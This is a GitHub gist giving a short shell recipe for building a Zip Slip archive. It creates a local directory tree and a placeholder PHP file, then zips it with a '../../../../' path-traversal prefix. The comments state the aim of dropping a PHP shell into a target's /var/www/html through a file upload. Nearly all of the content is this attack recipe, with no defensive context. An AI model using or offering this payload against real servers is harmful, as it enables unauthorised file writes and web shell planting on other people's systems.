Skip to content

Instantly share code, notes, and snippets.

@bc0d3
Created February 22, 2023 05:33
Show Gist options
  • Save bc0d3/fc8d5764f91a189c98fc5204cb6fcd4d to your computer and use it in GitHub Desktop.
Save bc0d3/fc8d5764f91a189c98fc5204cb6fcd4d to your computer and use it in GitHub Desktop.
How to create Zip Slip payload in zip file.
# First you have to see where you want to leave your Shell php
#
# target file /root/var/www/html
# in your console, sudo su, and create this directory "/root/var/www/html"
# and create file x.php
mkdir -p /root/var/www/html/
echo 'hi' > /root/var/www/html/x.php
# You need to know how many paths you need in this case we will need 4
zip prueba.zip ../../../../root/var/www/html/x.php
# and your file get this zip slip created and upload.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment